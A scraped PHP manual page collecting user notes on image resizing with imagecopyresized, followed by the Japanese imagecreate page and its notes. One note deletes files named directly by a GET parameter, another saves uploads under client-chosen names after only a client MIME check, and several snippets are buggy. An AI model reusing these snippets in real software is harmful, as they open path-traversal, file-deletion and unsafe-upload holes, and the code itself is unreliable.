I was fiddling with this a few days trying to figure out how to resize the original images on my website, but this site:

http://www.sitepoint.com/article/image-resizing-php

Has a great tutorial on using PHP to resize images without creating thumbnails.  It was exactly what I was looking to do.
konteineris at yahoo dot com 15-Feb-2006 06:42
Function creates a thumbnail from the source image, resizes it so that it fits the desired thumb width and height or fills it grabbing maximum image part and resizing it, and lastly writes it to destination

<?

function thumb($filename, $destination, $th_width, $th_height, $forcefill)
{
   list($width, $height) = getimagesize($filename);

   $source = imagecreatefromjpeg($filename);

   if($width > $th_width || $height > $th_height){
      $a = $th_width/$th_height;
      $b = $width/$height;

      if(($a > $b)^$forcefill)
      {
         $src_rect_width  = $a * $height;
         $src_rect_height = $height;
         if(!$forcefill)
         {
            $src_rect_width = $width;
            $th_width = $th_height/$height*$width;
         }
      }
      else
      {
         $src_rect_height = $width/$a;
         $src_rect_width  = $width;
         if(!$forcefill)
         {
            $src_rect_height = $height;
            $th_height = $th_width/$width*$height;
         }
      }

      $src_rect_xoffset = ($width - $src_rect_width)/2*intval($forcefill);
      $src_rect_yoffset = ($height - $src_rect_height)/2*intval($forcefill);

      $thumb  = imagecreatetruecolor($th_width, $th_height);
      imagecopyresized($thumb, $source, 0, 0, $src_rect_xoffset, $src_rect_yoffset, $th_width, $th_height, $src_rect_width, $src_rect_height);

      imagejpeg($thumb,$destination);
   }
}

?>
jesse at method studios 04-Oct-2005 12:07
imagecopyresized() does not do any resampling.  This makes it extremely quick.  If quality is an issue, use imagecopyresampled().
MaLaZ 11-Aug-2005 07:24
simple script for creating thumbnails with process information and saving original ratio thumbnail to new destination...good then useing with upload or uploaded images:

<?php

//Upload------------------------------------
if(isset( $submit ))
{
if ($_FILES['imagefile']['type'] == "image/jpeg"){
    copy ($_FILES['imagefile']['tmp_name'], "../images/".$_FILES['imagefile']['name'])
    or die ("Could not copy");
        echo "";
        echo "Image Name: ".$_FILES['imagefile']['name']."";
        echo "<br>Image Size: ".$_FILES['imagefile']['size']."";
        echo "<br>Image Type: ".$_FILES['imagefile']['type']."";
        echo "<br>Image Copy Done....<br>";
        }
         else {
            echo "<br><br>";
            echo "bad file type (".$_FILES['imagefile']['name'].")<br>";exit;
              }
//-----upload end

//------start thumbnailer

    $thumbsize=120;
    echo "Thumbnail Info: <br>
         1.Thumb defined size: - OK: $thumbsize<br>";
    $imgfile = "../images/$imagefile_name";//processed image
    echo "
         2.Image destination: - OK: $imgfile<br>";
    header('Content-type: image/jpeg');
    list($width, $height) = getimagesize($imgfile);
    echo "3.Image size - OK: W=$width x H=$height<br>";
    $imgratio=$width/$height;
    echo "3.Image ratio - OK: $imgratio<br>";
    if ($imgratio>1){
      $newwidth = $thumbsize;
      $newheight = $thumbsize/$imgratio;}
    else{
      $newheight = $thumbsize;
      $newwidth = $thumbsize*$imgratio;}
    echo "4.Thumb new size -OK: W=$newwidth x H=$newheight<br>";
    $thumb = ImageCreateTrueColor($newwidth,$newheight);
    echo "5.TrueColor - OK<br>";
    $source = imagecreatefromjpeg($imgfile);
    echo "6.From JPG - OK<br>";
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);echo "7.Done... - OK<br>";
//-----------end--------------
?>

or without any info, just resizing:

<?php
//------start thumbnailer
   $thumbsize=120;
   $imgfile = "../images/$imagefile_name";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   $imgratio=$width/$height;
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   $source = imagecreatefromjpeg($imgfile);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);
//-----------end--------------
?>

i hope it helps.
FearINC at gmail dot com 10-Aug-2005 10:35
I wrote a function not long ago that creates a thumbnail out of a large picture. Unlike other notes on this page, the code is a function so it can be used many times on the same script. The function allows the programer to set max height and width and resizes the picture proportionally.
<?php
function saveThumbnail($saveToDir, $imagePath, $imageName, $max_x, $max_y) {
    preg_match("'^(.*)\.(gif|jpe?g|png)$'i", $imageName, $ext);
    switch (strtolower($ext[2])) {
        case 'jpg' :
        case 'jpeg': $im   = imagecreatefromjpeg ($imagePath);
                     break;
        case 'gif' : $im   = imagecreatefromgif  ($imagePath);
                     break;
        case 'png' : $im   = imagecreatefrompng  ($imagePath);
                     break;
        default    : $stop = true;
                     break;
    }

    if (!isset($stop)) {
        $x = imagesx($im);
        $y = imagesy($im);

        if (($max_x/$max_y) < ($x/$y)) {
            $save = imagecreatetruecolor($x/($x/$max_x), $y/($x/$max_x));
        }
        else {
            $save = imagecreatetruecolor($x/($y/$max_y), $y/($y/$max_y));
        }
        imagecopyresized($save, $im, 0, 0, 0, 0, imagesx($save), imagesy($save), $x, $y);

        imagegif($save, "{$saveToDir}{$ext[1]}.gif");
        imagedestroy($im);
        imagedestroy($save);
    }
}
?>

the function for now takes only jpg,gif and png files, but that can easily be changed.
It's an easy to use easy to understand function and I hope it will come useful to someone.
mecdesign at hotmail dot com 07-Aug-2005 02:51
This code will resize your images if your image needs to fit (without stretching) into a max height / width destination image that is not a 1:1 ratio (mine was 4:3).

<?
   // Ratios
   $image_ratio = $width / $height; // Actual image's ratio
   $destination_ratio = $max_width / $max_height; // Ratio of dest. placeholder

    // Taller
    if($image_ratio < $destination_ratio)
    {
        //Too tall:
        if($height > $max_height)
        {
            $height = $max_height;
            $width = ceil($height / $image_ratio);
        }
    }
    // Wider / balanced & too wide:
    else if ($width > $max_width)
    {
        $width = $max_width;
        $height = ceil($width / $image_ratio);
    }
?>
brian <dot> tyler <at> gmail <dot> com 12-Jun-2005 03:53
I spent last night getting unsuccessful results from this function until I found this note of fluffle <<at>> gmail on the imagecopyresampled page, I have made a slight modification, so you can just cut and paste.

Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

function ($image_filename, $thumb_location, $image_thumb_size){
//@$image_filename - the filename of the image you want
//to get a thumbnail for (relative to location of this
//function).
//@$thumb_location - the url (relative to location of this
//function) to save the thumbnail.
//@$image_thumb_size - the x-y dimension of your thumb
//in pixels.

   list($ow, $oh) = getimagesize($image_filename);
   $image_original = imagecreatefromjpeg($image_filename);
   $image_thumb = imagecreatetruecolor($image_thumb_size,$image_thumb_size);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($image_thumb, $image_original, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);

imagejpeg($image_thumb, $thumb_location);
}//end function
no at name dot com 18-May-2005 04:45
I was searching for script, that do not resize on the fly, but copy resized file to other place, so after long searches, i've done this function. I hope it will be usefull for someone:
(This is not original code, i'v taked it from somwhere and edited a ltl :)
<?php
function resize($cur_dir, $cur_file, $newwidth, $output_dir)
{
    $dir_name = $cur_dir;
    $olddir = getcwd();
    $dir = opendir($dir_name);
    $filename = $cur_file;
    $format='';
    if(preg_match("/.jpg/i", "$filename"))
    {
        $format = 'image/jpeg';
    }
    if (preg_match("/.gif/i", "$filename"))
    {
        $format = 'image/gif';
    }
    if(preg_match("/.png/i", "$filename"))
    {
        $format = 'image/png';
    }
    if($format!='')
    {
        list($width, $height) = getimagesize($filename);
        $newheight=$height*$newwidth/$width;
        switch($format)
        {
            case 'image/jpeg':
            $source = imagecreatefromjpeg($filename);
            break;
            case 'image/gif';
            $source = imagecreatefromgif($filename);
            break;
            case 'image/png':
            $source = imagecreatefrompng($filename);
            break;
        }
        $thumb = imagecreatetruecolor($newwidth,$newheight);
        imagealphablending($thumb, false);
        $source = @imagecreatefromjpeg("$filename");
        imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
        $filename="$output_dir/$filename";
        @imagejpeg($thumb, $filename);
    }
}
?>
call this function using
<?
resize("./input folder", "picture_file_name", "width", "./output folder");
?>
del at kartoon dot net 05-May-2005 01:37
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
development at lab-9 dot com 25-Apr-2005 03:35
If you read your Imagedata from a Database Blob and use the functions from above to resize the image to a thumbnail improving a lot of traffic, you will have to make temporary copies of the files in order that the functions can access them

Here a example:

// switch through imagetypes
$extension = "jpg";
if(mysql_result($query, 0, 'type') == "image/pjpeg")
{ $extension = "jpg"; } // overwrite
else if(mysql_result($query, 0, 'type') == "image/gif")
{ $extension = "gif"; } // overwrite

// get a temporary filename
// use microtime() to get a unique filename
// if you request more than one file f.e. by creating large numbers of thumbnails, the server could be not fast enough to save all these different files and you get duplicated copies and resizepics() will resize and output often the same content

$filename = microtime()."_temp.".$extension;

// open
$tempfile = fopen($filename, "w+");

// write
fwrite($tempfile, mysql_result($query, 0, 'image'));

// close
fclose($tempfile);

// resize and output the content
echo resizepics($filename, '100', '70');

// delete temporary file
unlink($filename);

NOTE: this script has to be put into a file which sends correct header informations to the browser, otherwise you won't get more to see than a big red cross :-)
robby at planetargon dot com 28-Feb-2005 07:56
Most of the examples below don't keep the proportions properly. They keep using if/else for the height/width..and forgetting that you might have a max height AND a max width, not one or the other.

/**
* Resize an image and keep the proportions
* @author Allison Beckwith <allison@planetargon.com>
* @param string $filename
* @param integer $max_width
* @param integer $max_height
* @return image
*/
function resizeImage($filename, $max_width, $max_height)
{
    list($orig_width, $orig_height) = getimagesize($filename);

    $width = $orig_width;
    $height = $orig_height;

    # taller
    if ($height > $max_height) {
        $width = ($max_height / $height) * $width;
        $height = $max_height;
    }

    # wider
    if ($width > $max_width) {
        $height = ($max_width / $width) * $height;
        $width = $max_width;
    }

    $image_p = imagecreatetruecolor($width, $height);

    $image = imagecreatefromjpeg($filename);

    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                                     $width, $height, $orig_width, $orig_height);

    return $image_p;
}
haker4o at haker4o dot org 26-Feb-2005 08:57
<?php
//                      Resize image.
//             Writeen By: Smelban & Haker4o
// Mails smelban@smwebdesigns.com & Haker4o@Haker4o.org
// This code is written to only execute on  jpg,gif,png
// $picname = resizepics('pics', 'new widthmax', 'new heightmax');
// Demo  $picname = resizepics('stihche.jpg', '180', '140');
$picname = resizepics('picture-name.format', '180', '140');
echo $pickname;
//Error
die( "<font color=\"#FF0066\"><center><b>File not exists :(<b></center></FONT>");
//Funcion resizepics
function resizepics($pics, $newwidth, $newheight){
     if(preg_match("/.jpg/i", "$pics")){
           header('Content-type: image/jpeg');
     }
     if (preg_match("/.gif/i", "$pics")){
           header('Content-type: image/gif');
     }
     list($width, $height) = getimagesize($pics);
     if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
     } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
     } else {
       $newwidth = $width;
       $newheight = $height;
    }
    if(preg_match("/.jpg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = Imagecreatefromjpeg($pics);
    }
    if(preg_match("/.png/i", "$pics")){
    $source = imagecreatefrompng($pics);
    }
    if(preg_match("/.gif/i", "$pics")){
    $source = imagecreatefromgif($pics);
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
    if(preg_match("/.jpg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.png/i", "$pics")){
    return imagepng($thumb);
    }
    if(preg_match("/.gif/i", "$pics")){
    return imagegif($thumb);
    }
 }
?>
smelban at smwebdesigns dot com 15-Feb-2005 08:37
Resize image proportionaly where you give a max width or max height

<?php
header('Content-type: image/jpeg');
//$myimage = resizeImage('filename', 'newwidthmax', 'newheightmax');
$myimage = resizeImage('test.jpg', '150', '120');
print $myimage;

function resizeImage($filename, $newwidth, $newheight){
    list($width, $height) = getimagesize($filename);
    if($width > $height && $newheight < $height){
        $newheight = $height / ($width / $newwidth);
    } else if ($width < $height && $newwidth < $width) {
        $newwidth = $width / ($height / $newheight);
    } else {
        $newwidth = $width;
        $newheight = $height;
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    $source = imagecreatefromjpeg($filename);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
}
?>
finnsi at centrum dot is 13-Feb-2005 05:30
If you need to delete or resize images in the filesystem (not in DB) without loosing the image quality...
I commented the code as much as possible so that newbies (like myself) will understand it.  ;)

<?php

    /*

    WRITTEN BY:
    Finnur Eiriksson, (http://www.centrum.is/finnsi)
    Based on snippets that have been posted on www.PHP.net
    Drop me an e-mail if you have any questions.

    NOTE:
    This code is written to either delete or resize pictures in the file system, so if you have your pictures in a database
    you will have to make some changes. Also, if you are using other picture formats than .gif's or .jpg's you
    will have to add som code as well (Read the comments to find out where to do this).

    IMPORTANT:
    The $_GET['resizepic'] variable only contains the NAME of the file that is going to be deleted/resized.

    The internet guest account (IUSR_SERVERNAME on WINDOWS) must have read and write permissions (execution permission not needed)
    in your image directory (i.e. $dir_name = "FooBar"). It is a good idea to have a separate directory for images that users
    can upload to and manipulate the contents. Ideally, you should have one directory for the pictures that are used for the website,
    and another upload directory

    */

    $dir_name = "FooBar";  // Enter the name of the directory that contains the images
    $olddir = getcwd();  // Get the Current Windows Directory to be able to switch back in the end of the script
    $dir = opendir($dir_name); //make a directory handle
    //To delete a picture
    if(isset($_GET['delpic'])){
        chdir('images');
        $delpic = $_GET['delpic'];
        @unlink($delpic);
        chdir($olddir);
    }
    //To resize a picture
    if(isset($_GET['resize'])){
        //$_GET['resize'] contains the resize-percentage (for example 80 and 40, for 80% and 40% respectively. To double the image in size the user enters 200 etc.)
        // File and new size
        $percent = ($_GET['resize']/100);
        chdir('images');// change the windows directory to the image directory
        $filename = $_GET['resizepic'];

        // Decide the content type, NB:This code is written to only execute on .gif's and .jpg's
        // If you want other formats than .gif's and .jpg's add your code here, in the same manner:
        $format='';
        if(preg_match("/.jpg/i", "$filename")){
            $format = 'image/jpeg';
            header('Content-type: image/jpeg');
        }
        if (preg_match("/.gif/i", "$filename")){
            $format = 'image/gif';
            header('Content-type: image/gif');
        }
        if($format!=''){  //This is where the actual resize process begins...
            // Get new sizes
            list($width, $height) = getimagesize($filename);
            $newwidth = $width * $percent;
            $newheight = $height * $percent;

            // Load the image
            switch($format){
                case 'image/jpeg':
                    $source = imagecreatefromjpeg($filename);
                break;
                case 'image/gif';
                    $source = imagecreatefromgif($filename);
                break;
            }
            //Get the Image
            $thumb = imagecreatetruecolor($newwidth,$newheight);
            //This must be set to false in order to be able to overwrite the black
            //pixels in the background with transparent pixels. Otherwise the new
            //pixels would just be applied on top of the black background.
            imagealphablending($thumb, false);
            //Make a temporary file handle
            $source = @imagecreatefromjpeg($filename);
            // Resize
            imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
            //Write the image to the destination file
            @imagejpeg($thumb, $filename);
            //Change back to the old directory... I'm not sure that this is neccessary
            chdir($olddir);
            //Specify where you want the user to go after the operation:
            header('Location: foobar.php');
        }
    }

?>
marcy DOT xxx (AT) gmail.com 02-Jan-2005 11:06
This example allow to use every kind of image and to resize images with ImageCopyResized(), maintaining proportions..

<?php
// switch to find the correct type of function

$imgfile = 'namefile.jpg';
Header("Content-type: image/".$_GET["type"]);

switch($_GET["type"]){
default:
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "jpg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
case "jpeg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "png":
    $function_image_create = "ImageCreateFromPng";
    $function_image_new = "ImagePNG";
break;
case "gif":
    $function_image_create = "ImageCreateFromGif";
    $function_image_new = "ImagePNG";
break;
}

list($width, $height) = getimagesize($imgfile);

// the new weight of the thumb

$newheight = 80;

// Proportion is maintained

$newwidth = (int) (($width*80)/$height);

$thumb = ImageCreateTrueColor($newwidth,$newheight);
$source = @function_image_create($imgfile);

ImageCopyResized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

@$function_image_new($thumb);
?>
backglancer at hotmail 13-Dec-2004 07:10
Neat script to create a thumbnails no larger than 150 (or user-specific) height AND width.

<?PHP
$picture ="" # picture fileNAME here. not address
$max=150;    # maximum size of 1 side of the picture.
/*
here you can insert any specific "if-else",
or "switch" type of detector of what type of picture this is.
in this example i'll use standard JPG
*/

$src_img=ImagecreateFromJpeg($picture);

$oh = imagesy($src_img);  # original height
$ow = imagesx($src_img);  # original width

$new_h = $oh;
$new_w = $ow;

if($oh > $max || $ow > $max){
        $r = $oh/$ow;
        $new_h = ($oh > $ow) ? $max : $max*$r;
        $new_w = $new_h/$r;
}
// note TrueColor does 256 and not.. 8
$dst_img = ImageCreateTrueColor($new_w,$new_h);

ImageCopyResized($dst_img, $src_img, 0,0,0,0, $new_w, $new_h, ImageSX($src_img), ImageSY($src_img));

ImageJpeg($dst_img, "th_$picture");

?>
skurrilo at skurrilo dot de 28-Nov-2000 07:36
If you aren't happy with the quality of the resized images, just give ImageMagick a try. (http://www.imagemagick.org) This is a commandline tool for converting and viewing images.


パレットを使用する新規画像を作成する

  • ≪ imagecopyresized
  • imagecreatefrombmp ≫
  • PHP Manual
  • GD および Image 関数
  • パレットを使用する新規画像を作成する

imagecreate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreate — パレットを使用する新規画像を作成する

説明

imagecreate ( int $width , int $height ) : resource

imagecreate() は、 指定した大きさの空の画像を表す画像 ID を返します。

一般に、imagecreate() よりは
imagecreatetruecolor() を使うことを推奨します。
より高品質な画像処理ができるからです。パレット形式の画像を出力したい場合は、
imagepng() や
imagegif() で画像を保存する直前に
imagetruecolortopalette() を呼ばなければいけません。

パラメータ

width

画像の幅。

height

画像の高さ。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 新しい GD 画像ストリームの作成および画像の出力

<?php
header("Content-Type: image/png");
$im = @imagecreate(110, 20)
    or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 0, 0, 0);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 新しい GD 画像ストリームの作成および画像の出力

参考

  • imagedestroy() - 画像を破棄する
  • imagecreatetruecolor() - TrueColor イメージを新規に作成する

User Contributed Notes

marc at gutt dot it 02-Mar-2015 10:28
Based on DHKold's contribution I realized imagecreatefrombmp() to support all 1-, 4-, 8-, 16-, 24- und 32-Bit Bitmaps. Finally Fabien Menager brought it to perfection for the project DOMPDF. Feel free to use it:
https://code.google.com/p/dompdf/source/browse/trunk/dompdf/include/functions.inc.php?spec=svn504&r=504#551
JamesM 26-Mar-2010 12:03
doesnt ruin the image but adds display to the output.
this will generate an image with a random color. if you like it you can use it because you have the RBG result too.
<?php
header("content-type:image/png");
$im = imagecreate(100, 100);
$a = sprintf('%04x',mt_rand(0, 65535));
$b = sprintf('%04x',mt_rand(0, 65535));
$c = sprintf('%04x',mt_rand(0, 65535));
$white = imagecolorallocate($im,$a,$b,$c);
imagepng($im);
imagedestroy($im);
echo "\n\n\n$a-$b-$c";
?>
sk89q 14-Mar-2008 02:14
Loads a file based on its filetype and returns false if it fails.

<?php
function imagecreatefromfile($path, $user_functions = false)
{
    $info = @getimagesize($path);

    if(!$info)
    {
        return false;
    }

    $functions = array(
        IMAGETYPE_GIF => 'imagecreatefromgif',
        IMAGETYPE_JPEG => 'imagecreatefromjpeg',
        IMAGETYPE_PNG => 'imagecreatefrompng',
        IMAGETYPE_WBMP => 'imagecreatefromwbmp',
        IMAGETYPE_XBM => 'imagecreatefromwxbm',
        );

    if($user_functions)
    {
        $functions[IMAGETYPE_BMP] = 'imagecreatefrombmp';
    }

    if(!$functions[$info[2]])
    {
        return false;
    }

    if(!function_exists($functions[$info[2]]))
    {
        return false;
    }

    return $functions[$info[2]]($path);
}
?>
scottlindh pwnd at hushmail dot com 19-Aug-2007 10:40
to install on UBUNTU do the following..

sudo apt-get install php5-gd

After installing the package I restarted the apache

sudo /etc/init.d/apache reload

goto love ubuntu...
Sohel Taslim 25-Jul-2007 12:22
It is easy and simple example to convert Text to Image with selected font.
It helps me to display Bangla text as image when users have no installed bangla font.

I hope it can help you too!

<?php
//Kip the font file together or write proper location.
makeImageF("Life in PHP.","CENTURY.TTF");

function makeImageF($text, $font="CENTURY.TTF", $W=200, $H=20, $X=0, $Y=0, $fsize=18, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

    $im = @imagecreate($W, $H)
        or die("Cannot Initialize new GD image stream");

    $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
    $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

    imagettftext($im, $fsize, $X, $Y, $fsize, $text_color, $font, $text);

    header("Content-type: image/gif");
    return imagegif($im);
}

?>
help at nanomc dot com 08-Nov-2005 11:29
// A simple XY graph

<html>
<head>

 <title>XY Graph</title>

<h2>Practice XY Graph</h2>
</head>
<body>

<?php
$left = 0;
$top = 0;
$x_size = 400;
$y_size = 400;

$char_width = 8;
$char_height = 11;

$x_start = $x_left + 100;
$y_start = $top + $char_height * 1.5;
$x_end = $x_start + $x_size;
$y_end = $y_start + $y_size;
$right = $x_start + $x_size + 40;
$bottom = $y_start + $y_size + $char_height * 1.5;

$graph_n = 100;
for($i = 0; $i < $graph_n; $i++ )
    {
    $graph_x[$i] = $i;
    $graph_y[$i] = $i * $i;
    }

    $min_x = 9e99;
    $min_y = 9e99;
    $max_x = -9e99;
    $max_y = -9e99;

    $avg_y = 0.0;

    for($i = 0; $i < $graph_n; $i++ )
        {
        if( $graph_x[$i] < $min_x )
            $min_x = $graph_x[$i];

        if( $graph_x[$i] > $max_x )
            $max_x = $graph_x[$i];

        if( $graph_y[$i] < $min_y )
            $min_y = $graph_y[$i];

        if( $graph_y[$i] > $max_y )
            $max_y = $graph_y[$i];

        $avg_y += $graph_y[$i];
        }

    $avg_y = $avg_y / $graph_n;

    $min_x = 0;
    $min_y = 0;
    $max_x += $max_x * 0.05;
    $max_y += $max_y * 0.05;

$image = ImageCreate($right - $left, $bottom - $top);
$background_color = imagecolorallocate($image, 255, 255, 255);
$text_color = imagecolorallocate($image, 233, 14, 91);

$grey = ImageColorAllocate($image, 204, 204, 204);
$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, 0, 0, 0);
$red = imagecolorallocate($image, 255, 0, 0);

imagerectangle($image, $left, $top, $right - 1, $bottom - 1, $black );
imagerectangle($image, $x_start, $y_start, $x_end, $y_end, $grey );

for($i = 0; $i < $graph_n; $i++ )
   {
   $pt_x = $x_start + ($x_end-$x_start)*($graph_x[$i]-$min_x)/($max_x-$min_x);
   $pt_y = $y_end - ($y_end - $y_start)*($graph_y[$i]-$min_y)/($max_y-$min_y);

 //  imagesetpixel( $image, $pt_x, $pt_y, $black );
   imagechar($image, 2, $pt_x - 3, $pt_y - 10, '.', $black);
   }

$string = sprintf("%2.5f", $max_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_start - $char_width, $string, $black);

$string = sprintf("%2.5f", $min_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_end - $char_height, $string, $black);

$string = sprintf("%2.5f", $min_x);
imagestring($image, 4, $x_start - (strlen($string) * $char_width)/2, $y_end, $string, $black);

$string = sprintf("%2.5f", $max_x);
imagestring($image, 4, $x_end - (strlen($string) * $char_width) / 2, $y_end, $string, $black);

$x_title = 'x axis';
$y_title = 'y axis';

imagestring($image, 4, $x_start + ($x_end - $x_start) / 2 - strlen($x_title) * $char_width / 2, $y_end, $x_title, $black);

imagestring($image, 4, $char_width, ($y_end - $y_start) / 2, $y_title, $black);

header('Content-type: image/png');
$filename = sprintf("%d.png", time());
ImagePNG($image,$filename);
ImageDestroy($image);

printf("<img src='%s'> ", $filename);
?>

</body>
</html>
DHKold 15-Jun-2005 02:52
to create an image from a BMP file, I made this function, that return a resource like the others ImageCreateFrom function:

<?php
/*********************************************/
/* Fonction: ImageCreateFromBMP              */
/* Author:   DHKold                          */
/* Contact:  admin@dhkold.com                */
/* Date:     The 15th of June 2005           */
/* Version:  2.0B                            */
/*********************************************/

function ImageCreateFromBMP($filename)
{
 //Ouverture du fichier en mode binaire
   if (! $f1 = fopen($filename,"rb")) return FALSE;

 //1 : Chargement des ent?tes FICHIER
   $FILE = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14));
   if ($FILE['file_type'] != 19778) return FALSE;

 //2 : Chargement des ent?tes BMP
   $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                 '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                 '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));
   $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
   if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
   $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
   $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
   $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] = 4-(4*$BMP['decal']);
   if ($BMP['decal'] == 4) $BMP['decal'] = 0;

 //3 : Chargement des couleurs de la palette
   $PALETTE = array();
   if ($BMP['colors'] < 16777216)
   {
    $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
   }

 //4 : Cr?ation de l'image
   $IMG = fread($f1,$BMP['size_bitmap']);
   $VIDE = chr(0);

   $res = imagecreatetruecolor($BMP['width'],$BMP['height']);
   $P = 0;
   $Y = $BMP['height']-1;
   while ($Y >= 0)
   {
    $X=0;
    while ($X < $BMP['width'])
    {
     if ($BMP['bits_per_pixel'] == 24)
        $COLOR = unpack("V",substr($IMG,$P,3).$VIDE);
     elseif ($BMP['bits_per_pixel'] == 16)
     {
        $COLOR = unpack("n",substr($IMG,$P,2));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 8)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,$P,1));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 4)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 1)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if     (($P*8)%8 == 0) $COLOR[1] =  $COLOR[1]        >>7;
        elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;
        elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;
        elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
        elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;
        elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;
        elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;
        elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     else
        return FALSE;
     imagesetpixel($res,$X,$Y,$COLOR[1]);
     $X++;
     $P += $BMP['bytes_per_pixel'];
